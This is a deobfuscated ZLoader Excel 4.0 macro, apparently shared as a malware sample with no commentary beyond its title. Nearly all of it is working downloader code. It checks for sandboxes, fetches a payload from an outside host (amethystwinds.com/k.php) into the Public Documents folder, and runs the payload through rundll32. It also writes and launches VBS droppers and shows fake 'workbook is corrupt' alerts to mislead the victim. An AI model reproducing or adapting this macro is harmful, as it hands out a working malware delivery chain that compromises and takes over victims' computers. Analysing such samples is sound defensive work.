zloader deobfuscated macro

=INT(APP.MAXIMIZE())+124
=INT(GET.WORKSPACE(14)>390)+126
=INT(GET.WORKSPACE(42))+107
=INT(GET.WORKSPACE(19))+96
=INT(GET.WORKSPACE(13)>800)+125
=NOW()
=WAIT(NOW()+"00:00:01")
=NOW()
=INT(($C$119-$C$117)*100000>1)+111
p="C:\Users\Public\Documents\"
n=CHAR(13)
=DEFINE.NAME("ETdTgdE", "={"&$C$112&";"&$C$113&";"&$C$114&";"&$C$115&";"&$C$116&";"&$C$120&"}")
=DEFINE.NAME("mNNthHi",VUTrsT)
=DEFINE.NAME("WUGxMIH",130)
=DEFINE.NAME("xairqY",0)
=DEFINE.NAME("UKVqOBu",0)
=BVKEetMJW()
=HALT()
e="https://amethystwinds.com/k.php"
f="https://amethystwinds.com/k.php"
=IF(ISNUMBER(SEARCH("32",GET.WORKSPACE(1))),,GOTO($C$141))
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,e,p&"nIpymd.txt",0,0)
=IF($C$133<>0,,GOTO($C$136))
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,f,p&"nIpymd.txt",0,0)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.")
a="ShellExecuteA"
b="C:\Windows\system32\rundll32.exe"
=CALL("Shell32",a,"JJCCCJJ",0,"open",b,p&"nIpymd.txt,DllRegisterServer",0,5)
=CLOSE(FALSE)
=FOPEN(p&"imX0rsfm.vbs",3)
=FWRITELN($C$141,"KVgAD = """&e&""""&n&"EerVWB = """&f&"""")
=FWRITELN($C$141,"NAN = Array(KVgAD,EerVWB)")
=FWRITELN($C$141,"Dim LCFn: Set LCFn = CreateObject(""MSXML2.ServerXMLHTTP.6.0"")")
=FWRITELN($C$141,"Function oSIpW(data):"&n&"LCFn.setOption(2) = 13056")
=FWRITELN($C$141,"LCFn.Open ""GET"",data,False")
=FWRITELN($C$141,"LCFn.Send"&n&"oSIpW = LCFn.Status"&n&"End Function"&n&"For Each qn6KPR in NAN")
=FWRITELN($C$141,"If oSIpW(qn6KPR) = 200 Then"&n&"Dim ywQyr: Set ywQyr = CreateObject(""ADODB.Stream"")")
=FWRITELN($C$141,"ywQyr.Open"&n&"ywQyr.Type = 1"&n&"ywQyr.Write LCFn.ResponseBody")
=FWRITELN($C$141,"ywQyr.SaveToFile """&p&"nIpymd.txt"",2"&n&"ywQyr.Close")
=FWRITELN($C$141,"Exit For"&n&"End If"&n&"Next")
=FCLOSE($C$141)
=EXEC("explorer.exe "&p&"imX0rsfm.vbs")
=WHILE(ISERROR(FILES(p&"nIpymd.txt")))
=WAIT(NOW()+"00:00:01")
=NEXT()
=FILE.DELETE(p&"imX0rsfm.vbs")
=WAIT(NOW()+"00:00:02")
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it is corrupt.")
=FOPEN(p&"QRhR.vbs",3)
=FWRITELN($C$160,"Set brdnU0PE = GetObject(""new:C08AFD90-F2A1-11D1-8455-00A0C91F3880"")")
d="brdnU0PE.Document.Application.ShellExecute ""rundll32.exe"","""
=FWRITELN($C$160,d&p&"nIpymd.txt,DllRegisterServer"",""C:\Windows\System32"",Null,0")
=FCLOSE($C$160)
=WAIT(NOW()+"00:00:01")
=EXEC("explorer.exe "&p&"QRhR.vbs")
=CLOSE(FALSE)